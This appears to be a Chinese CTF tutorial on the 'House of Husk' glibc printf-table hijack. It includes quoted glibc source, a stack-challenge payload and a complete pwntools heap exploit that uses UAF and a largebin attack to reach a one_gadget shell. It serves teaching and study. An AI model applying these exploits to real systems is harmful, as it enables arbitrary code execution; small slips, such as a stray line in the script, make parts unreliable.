glibc 2.23 -- 至今
printf
函数通过检查__printf_function_table
是否为空,来判断是否有自定义的格式化字符若为printf类格式字符串函数,则会根据格式字符串的种类去执行
__printf_arginfo_table[spec]
处的函数指针
- 能使
__printf_function_table
处非空__printf_arginfo_table
处可写入地址
劫持
__printf_function_table
使其非空劫持
__printf_arginfo_table
使其表中存放的spec
的位置是后门或者我们的构造的利用链执行到
printf
函数时就可以将执行流劫持程序流
spec是格式化字符,比如最后调用的是
printf("%S\n",a)
,那么应该将__printf_arginfo_table[73]
的位置(即&__printf_arginfo_table+0x73*8处)写入我们想要执行的地址
__register_printf_function
为格式化字符为spec
的格式化输出注册函数,而__register_printf_specifier
函数对这个函数进行的封装
通过源码可以看到若格式化符spec不在0x0-0xff(即ascii码范围),会返回-1
若spec为空,程序则会通过calloc分配两个堆地址来存放__printf_arginfo_table
和__printf_function_table
//__register_printf_specifier 源码 /* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_function (int spec, printf_function converter, printf_arginfo_function arginfo) { return __register_printf_specifier (spec, converter, (printf_arginfo_size_function*) arginfo); } /* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo) { if (spec < 0 || spec > (int) UCHAR_MAX) { __set_errno (EINVAL); return -1; } int result = 0; __libc_lock_lock (lock); if (__printf_function_table == NULL) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1, sizeof (void *) * 2); if (__printf_arginfo_table == NULL) { result = -1; goto out; } __printf_function_table = (printf_function **) (__printf_arginfo_table + UCHAR_MAX + 1); } __printf_function_table[spec] = converter; __printf_arginfo_table[spec] = arginfo; out: __libc_lock_unlock (lock); return result; }
我们可以利用这样一条调用链printf->vfprintf->printf_positional->__parse_one_specmb
,通过篡改__printf_arginfo_table
和__printf_function_table
来进行攻击
可以看到当__printf_function_table
非空,将会调用printf_positional
函数
//vprintf函数部分源码 /* Use the slow path in case any printf handler is registered. */ if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional; /* Hand off processing for positional parameters. */ do_positional: if (__glibc_unlikely (workstart != NULL)) { free (workstart); workstart = NULL; } done = printf_positional (s, format, readonly_format, ap, &ap_save, done, nspecs_done, lead_str_end, work_buffer, save_errno, grouping, thousands_sep);
执行printf_positional
函数会触发__parse_one_specmb
//__parse_one_specmb函数部分*__printf_arginfo_table[spec->info.spec] /* Get the format specification. */ spec->info.spec = (wchar_t) *format++; spec->size = -1; if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) { /* Find the data argument types of a built-in spec. */ spec->ndata_args = 1;
我们可以通过修改*__printf_arginfo_table[spec->info.spec]
指针为后门或者构造的调用链
先看该手法在栈题上的利用
程序很简单,就一个读入和一个输出,会将我们输入的内容打印出来
又因为程序是静态编译,flag值就在data段上
我们的目的是要利用house of husk手法将flag打印出来
攻击思路:
stack_chk_fail()会将libc_argv[0]指向的字符串打印出来,我们将__libc_argv[0]内容修改为flag的地址
再将printf_function_table置为非空,printf_arginfo_table[spec]篡改为__stack_chk_fail()来打印flag
libc_argv[0]、printf_function_table、__printf_arginfo_table都在起始地址name的高地址处
我们可以直接覆盖修改它们的值
stack_chk_fail = 0x4359B0 flag_addr = 0x6B4040 name_addr = 0x6B73E0 libc_argv = 0x6b7980 printf_function_table = 0xdeadbeef #__printf_function_table 0x6b7a28 printf_modifier_table = 0x0 #__printf_modifier_table 0x6b7a30 printf_arginfo_table = 0x6b7aa8 payload=p64(flag_addr) payload = payload.ljust(libc_argv - name_addr,b'a') payload+=p64(name_addr) #libc_argv[0] -> name_addr ->flag payload = payload.ljust(0x6b7a28 - name_addr,b'a') payload+=p64(0x1) #__printf_function_table != 0 payload+=p64(0x0) #__printf_modifier_table = 0 payload = payload.ljust(0x6b7aa8 - name_addr,b'a') payload+=p64(printf_arginfo_table) payload+=p64(0xdeadbeef)*(0x73-1) payload+=p64(stack_chk_fail) #__printf_arginfo_table[73] : printf_arginfo_table+0x73*8 p.sendline(payload)
gdb调试看看具体是怎么执行的:
main+68处执行printf函数,printf会调用vfprintf
在vfprintf会进行__printf_function_table是否为0的检查
非零则会跳转到vfprintf+6000
再往下会调用printf_positional函数
payload+=p64(printf_arginfo_table) payload+=p64(0xdeadbeef)*(0x73-1) payload+=p64(stack_chk_fail) #printf_arginfo_table+0x73*8
成功执行__stack_chk_fail()打印出flag
house of husk打法重点还是在堆题上的利用
限制大小0x41f—0x550,修改限制堆块0xf,存在UAF漏洞
add:
delete:
edit:
show:
show功能只能打印出8字节,UAF常规手法无法泄露heap地址
add(0x500,0,b'aaa') add(0x500,1,b'bbb') delete(0) show(0) libc_base=l64()-96-0x10-libc.sym['__malloc_hook'] li('libc_base = '+hex(libc_base))
delete(1) add(0x420,2,b'ccc') add(0x420,3,b'ddd') add(0x420,4,b'eee') edit(0,b'\x00'*0x420+p64(0)+p64(0x41)) #6c0 edit(1,b'\x00'*0x340+p64(0)+p64(0x41)) #af0 delete(3) delete(4) show(4) heap_addr = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x6d0 #+0x290 li('heap_addr = '+hex(heap_addr))
首先申请四个堆块准备largebin attack,先将chunk7送入largebin
add(0x448,5, b'fff') # add(0x500,6, b'ggg') add(0x458,7, b'hhh') # add(0x500,8, b'iii') delete(7) #ub add(0x500,9,b'jjj') #chunk7 -> large
###__printf_function_table != 0 delete(5) #ub printf_function_table = libc_base+0x1f1318 pl=p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_function_table-0x20) # main_arena+1120 main_arena+1120 # chunk7-0x20 __printf_function_table-0x20 edit(7,pl) add(0x500,10,'kkk') #attack
###__printf_arginfo_table add(0x448,11,'lll') #rl chunk5 delete(11) #ub printf_arginfo_table = libc_base+0x1ed7b0 pl=p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_arginfo_table-0x20) edit(7,pl) add(0x500,12,'mmm') #attack
最后再修改spec处为onegadget(注意大小写)
ogs = [0xe3afe,0xe3b01,0xe3b04] og = libc_base + ogs[1] pl=b'a'*((ord('X'))*8-0x10)+p64(og) edit(11,pl)
这里会有__printf_function_table非空的检查
这里会对__printf_modifier_table是否为0进行一个check,非0可能会出现些问题,所以尽量保证构造时不影响其值
下面会将&__printf_arginfo_table地址赋给rcx,再将[rcx+rdx*8]的值(即chunk5/11地址+0x58×8)赋给rax,并最终跳转到rax
#encoding = utf-8 from pwn import * from pwnlib.rop import * from pwnlib.context import * from pwnlib.fmtstr import * from pwnlib.util.packing import * from pwnlib.gdb import * from ctypes import * import os import sys import time import base64 context.os = 'linux' context.arch = 'amd64' context.log_level = "debug" name = './pwn' debug = 0 if debug: p = remote('127.0.0.1',8000) else: p = process(name) #libcso = '/lib/x86_64-linux-gnu/libc-2.31.so' libcso = './libc-2.31.so' libc = ELF(libcso) #libc = elf.libc elf = ELF(name) s = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00')) uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') context.terminal = ['gnome-terminal','-x','sh','-c'] add_idx = 1 delete_idx = 2 show_idx = 3 edit_idx = 4 def dbg(): gdb.attach(proc.pidof(p)[0]) pause() bss = elf.bss() li('bss = '+hex(bss)) def choice(cho): sla('>> ',cho) def add(size,idx,con): choice(add_idx) sla('HOw much?\n',size) sla('which?\n',idx) p.sendlineafter('Content:\n',con) def delete(idx): choice(delete_idx) sla('which one?\n',idx) def show(idx): choice(show_idx) sla('which one?\n',idx) def edit(idx,con): choice(edit_idx) sla('which one?\n',idx) p.sendafter('content:\n',con) add(0x500,0,b'aaa') add(0x500,1,b'bbb') delete(0) show(0) libc_base=l64()-96-0x10-libc.sym['__malloc_hook'] li('libc_base = '+hex(libc_base)) delete(1) add(0x420,2,b'ccc') add(0x420,3,b'ddd') add(0x420,4,b'eee') edit(0,b'\x00'*0x420+p64(0)+p64(0x41)) #6c0 edit(1,b'\x00'*0x340+p64(0)+p64(0x41)) #af0 delete(3) delete(4) show(4) heap_addr = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x6d0 #+0x290 li('heap_addr = '+hex(heap_addr)) add(0x448,5, b'fff') # add(0x500,6, b'ggg') add(0x458,7, b'hhh') # add(0x500,8, b'iii') delete(7) #ub add(0x500,9,b'jjj') #chunk7 -> large ###__printf_function_table != 0 delete(5) #ub printf_function_table = libc_base+0x1f1318 pl=p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_function_table-0x20) # main_arena+1120 main_arena+1120 # chunk7-0x20 __printf_function_table-0x20 edit(7,pl) add(0x500,10,'kkk') #attack ###__printf_arginfo_table add(0x448,11,'lll') #rl chunk5 delete(11) #ub printf_arginfo_table = libc_base+0x1ed7b0 pl=p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_arginfo_table-0x20) edit(7,pl) add(0x500,12,'mmm') #attack ogs = [0xe3afe,0xe3b01,0xe3b04] og = libc_base + ogs[1] pl=b'a'*((ord('X'))*8-0x10)+p64(og) printf(ord('X')-2) edit(11,pl) #dbg() sla('>> ','5') itr()